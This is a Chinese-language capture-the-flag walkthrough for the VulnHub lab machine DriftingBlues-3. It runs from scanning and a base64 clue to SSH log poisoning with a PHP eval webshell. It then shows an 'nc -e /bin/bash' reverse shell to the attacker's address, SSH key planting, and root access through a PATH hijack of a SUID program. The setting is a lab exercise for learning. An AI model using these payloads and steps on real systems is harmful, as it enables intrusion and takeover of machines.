vulnhub靶场之driftingblues-3

一.环境搭建

1.靶场描述

get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested  vtx/amdv enabled. you can contact me by email for troubleshooting or  questions.
This works better with VirtualBox rather than VMware
 

2.靶场下载

https://www.vulnhub.com/entry/driftingblues-3,656/
 

image-20240206202713671

3.靶场启动

image-20240206202740200

靶场网段我们知道是192.168.1.0/24,我们进行探测

二.信息收集

1.寻找靶场真实ip

nmap -sP 192.168.1.0/24
 

image-20240206203023389

arp-scan -l
 

image-20240206203110854

靶场真实ip地址为192.168.1.8
 

2.探测端口及服务

nmap -p- -sV 192.168.1.8
 

image-20240206203247089

发现开启了22端口,服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口,服务为Apache httpd 2.4.38 ((Debian))
 

三.渗透测试

1.访问web服务

http://192.168.1.8
 

image-20240206203653556

2.扫描web服务

1)nikto扫描

nikto -h http://192.168.1.8
 

image-20240206203922196

我们扫描到三个目录,一个一个进行访问

image-20240206204008218

image-20240206204031885

image-20240206204049741

发现只有robots.txt目录是有信息的,其他的都没有用

2)dirsearch目录扫描

dirsearch -u 192.168.1.8 -e * -x 403 --random-agent
 

image-20240206204405924

还是只有robots.txt目录,那么我们进行分析即可

3.渗透测试

1)访问robots.txt

http://192.168.1.8/robots.txt
 

image-20240206204456418

我们继续访问

http://192.168.1.8/eventadmins/
 

image-20240206204530574

我们继续访问

http://192.168.1.8/littlequeenofspades.html
 

image-20240206204608365

我们访问源代码,可以看到一串base64编码,我们进行解密

image-20240206204725055

image-20240206204828018

最后解密出来是一个目录,我们进行访问

http://192.168.1.8/adminsfixit.php
 

image-20240206204909039

我们可以看到是ssh日志记录,那么我们可以试试一句话木马连接ssh,会不会被记录

2)ssh日志记录

ssh '<?php @eval($_POST['MS02423']);?>'@192.168.1.8
 

image-20240206205235001

我们连接蚁剑,发现可以连接成功

image-20240206210144181

image-20240206210205634

这样我们就可以反弹shell了

3)反弹shell

方法一:我们使用cmd进行反弹

http://192.168.1.8/adminsfixit.php/?cmd=system(%27nc%20-e%20/bin/bash%20192.168.1.9%205555%27);
 

image-20240206210921157

我们可以看到反弹成功

image-20240206210950397

方法二:我们使用蚁剑虚拟终端进行反弹

image-20240206211425460

image-20240206211450472

我们可以看到反弹成功,这两个方法都可以试试

4)SSH密钥

分析查看靶机内文件,发现home目录下有一个robertj用户,且该用户目录下存在两个文件,user.txt”文件没有权限无法打开,.ssh 目录有可读可写可执行权限,进入 .ssh 目录进行查看,发现目录内没有任何文件内容

image-20240206212334888

继续查看分析,查看ssh配置文件(默认目录/etc/ssh/sshd_config),发现可以公钥登录,并且给出了公钥文件存放目录 /home/robertj/.ssh/authorized_keys

image-20240206212709475

image-20240206212849011

尝试把公钥放入.ssh目录内,使用 ssh-keygen工具生成公密钥,并将生成的密钥保存到 /home/robertj/.ssh/ 目录下

ssh-keygen -t rsa
-t    指定生成的密钥类型,默认为RSA类型
 

image-20240206213858683

我们可以看到写入成功

image-20240206220853065

将生成的公钥内容输出到authorized_keys文件内

image-20240206221005812

查看私钥文件,将内容复制出来,粘贴到本地文件中, 注意要将id_rsa文件的权限修改为与创建时权限一致

image-20240206221124000

5)ssh登录

我们进行登录

ssh robertj@192.168.1.8 -i '/home/kali/桌面/1.txt' 
 

image-20240206221327567

我们查看user.txt,看到第一个flag

image-20240206221416157

6)提权

我们使用sudo -l查看,发现没有

image-20240206221623865

那么我们使用另一条命令,使用 find 命令寻找suid程序,发现一个可疑程序/usr/bin/getinfo

find / -perm -4000 -type f 2>/dev/null
 

image-20240206221720045

执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

image-20240206221952961

可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中
cd /tmp
echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)
chmod +x ip                                    给ip文件增加执行权限
 

image-20240206222242713

我们查看flag即可

image-20240206222331559

  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值